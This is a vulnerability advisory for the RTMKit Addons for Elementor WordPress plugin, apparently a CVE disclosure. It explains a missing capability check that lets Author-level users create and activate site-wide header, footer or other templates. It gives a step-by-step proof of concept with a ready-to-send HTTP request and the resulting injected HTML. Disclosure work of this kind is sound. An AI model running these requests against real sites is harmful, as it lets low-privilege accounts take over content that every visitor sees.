RTMKit Addons for Elementor < 2.0.9 – Author+ Site-Wide Theme Builder Template Creation and Activation | CVE 2026-12907

Description

The plugin does not perform a proper capability check on one of its theme-builder AJAX actions, allowing users with at least the Author role to create and activate a site-wide template that overrides the header, footer or other global areas displayed to all visitors, which is normally restricted to administrators.

Proof of Concept

Account `author` is a default Author (`current_user_can('manage_options')` and `current_user_can('edit_theme_options')` both return false for it). All requests use that Author's logged-in session cookie.

Step 1 - Obtain the rtmkit_nonce (standard plugin usage, no special configuration)
Log in as the Author and open the Elementor editor for any post the Author can edit (e.g. `/wp-admin/post.php?post=<own post id>&action=elementor`). The plugin localizes its nonce in the page as `rkit_libs.rtmkit_nonce` (output by `EditorCanvas::editor_scripts` on the `elementor/editor/before_enqueue_scripts` hook). View source and copy the value, e.g. `0b5840ac40`.

Step 2 - Create and activate a site-wide header template as the Author
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Cookie: <wordpress_logged_in cookie for the Author account>
Content-Type: application/x-www-form-urlencoded

action=add_themebuilder&nonce=0b5840ac40&title=PWNED_HEADER_BY_AUTHOR&type=header&active=true&conditions=[{"type":"general","name":"entire","sub_name":null,"sub_id":null}]
```
Response (a published, active, site-wide header template owned by the Author is created):
```json
{"success":true,"data":"success"}
```

Step 3 - Confirm the Author-created template renders site-wide
Open the Elementor editor for the new `rometheme_template` (it is owned by the Author, so the Author can edit its content) and add any widget, e.g. a Heading reading `RTMKIT_AUTHOR_INJECTED_HEADER_MARKER`. Then load the site front page as an unauthenticated visitor:
```http
GET / HTTP/1.1
Host: victim.example
```
The response now contains the Author-controlled header, injected for every visitor:
```html
<header itemtype="https://schema.org/WPHeader" itemscope="itemscope">
  <div data-elementor-type="wp-post" data-elementor-id="197" class="elementor elementor-197 ...">
    ... RTMKIT_AUTHOR_INJECTED_HEADER_MARKER ...
  </div>
</header>
```
The Author has replaced the site-wide header seen by all visitors and administrators. The same handler accepts `type=footer`, `type=single_post`, and `type=404` to take over those locations.

Step 4 - Negative control
The same Author account cannot perform this through core or through the sibling handler:
```
current_user_can('manage_options')     => false
current_user_can('edit_theme_options') => false
```
`edit_themebuilder` (the sibling save handler) returns `{"success":false,"data":"access denied"}` (403) for this account because it requires `manage_options`; `add_themebuilder` succeeds.